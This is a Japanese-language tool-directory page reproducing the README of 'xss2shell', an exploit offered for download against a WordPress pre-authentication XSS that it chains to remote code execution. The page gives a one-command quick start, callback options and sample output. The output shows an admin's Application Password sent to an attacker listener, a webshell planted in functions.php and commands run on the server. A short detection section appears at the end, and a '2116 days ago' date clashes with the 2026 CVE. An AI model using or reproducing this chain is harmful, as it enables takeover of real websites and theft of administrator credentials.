Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
xss2shell — CVE-2026-64638 | WordPress < 7.0.3 認証前の保存型XSS → RCE | Kitploit
ツール/GitHubGitHub/alisalive/xss2shell
脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトウェブセキュリティペネトレーションテストリモートアクセスツールペイロード開発
GitHubalisalive/xss2shell

xss2shell

CVE-2026-64638 | WordPress < 7.0.3 認証前の保存型XSS → RCE

リポジトリを見る
2116日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
xss2shell



CVE WordPress Python License

このCVEの公開PoCはすべて壊れている。これは動く。

脆弱性 · クイックスタート · 仕組み · 制限事項


脆弱性

WordPress < 7.0.3 は wp-login.php の log(ユーザー名)パラメータをサニタイズしない。この値は管理者の認証済みセッション内に保存・レンダリングされる — ワンクリックで完全なサーバー乗っ取りにつながる認証前の蓄積型XSSである。

Victim clicks lure  --->  XSS fires  --->  App Password stolen  --->  Shell planted  --->  RCE

クイックスタート

# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
出力例
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php

============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.

使用方法

usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]

  -t, --target    Target WordPress URL
  -c, --command   OS command to execute on the server
  --lhost         Attacker callback IP (default: auto-detect)
  --lport         Attacker callback port (default: random)
  --keep          Don't clean up artifacts after exploitation

仕組み

段階アクション詳細
1. XSSwp-login.php 経由でインジェクションDOM clobbering (<area id=ajaxurl>) を伴う細工された log パラメータが WP の AJAX URL をハイジャックし、JSONP 経由で App Password の承認を自動クリックする
2. 窃取Application Password の持ち出しauthorize-application.php が密かに App Password を作成し、success_url がそれを攻撃者へ送信する
3. シェルウェブシェルの書き込み (3 つのフォールバック)テーマエディタ → functions.php · プラグインアップロード → xss2shell/shell.php · プラグインエディタ → 既存のプラグインファイル
4. RCEOS コマンドの実行ウェブシェルが shell_exec() を実行し、JSON 出力を返す。ツールが自動検証してクリーンアップする

影響を受けるバージョン

バージョンステータス
WordPress < 7.0.3脆弱
WordPress >= 7.0.3修正済み

制限事項

条件影響
DISALLOW_FILE_EDITテーマ/プラグインエディタがブロックされる — ZIP アップロードのみ機能する
DISALLOW_FILE_MODS3 つの手法すべてがブロックされる — RCE 不可
WAF (Cloudflare、Wordfence)XSS ペイロードやウェブシェルリクエストをフィルタリングする可能性がある
PHP の disable_functionsshell_exec がブロックされる — 出力が空になる
ポップアップブロッカーポップアップの連鎖が途切れる
厳格な CSP ヘッダーインライン JS やクロスオリジンの fetch をブロックする

検出

xss2shell があなたのサイトに対して使用された場合は、以下の指標を探してください:

  • アプリ名 XSS2Shell-Poc-Wordsec の Application Password
  • wp-content/plugins/ 内のプラグイン xss2shell
  • functions.php または任意のプラグインファイル内の文字列 xss2shell_cmd
  • /?rest_route=/&_method=GET&_jsonp= への JSONP リクエスト

これが存在する理由

CVE-2026-64638 の公開 PoC はすべて alert(1) で止まるか、トリアージ担当者が再現できない手動手順を必要とします。このツールは単一のコマンドで完全なチェーンエクスプロイトを実現します — 認証ゼロから RCE まで。理論ではなく証拠を必要とするセキュリティ研究者のために作られました。

免責事項

認可されたセキュリティテストおよび教育目的のみに使用してください。自身が所有するシステム、またはテストの明示的な書面による許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。


WordSec · CVE-2026-64638 · WordPress 7.0.3 で修正済み

ツールをダウンロード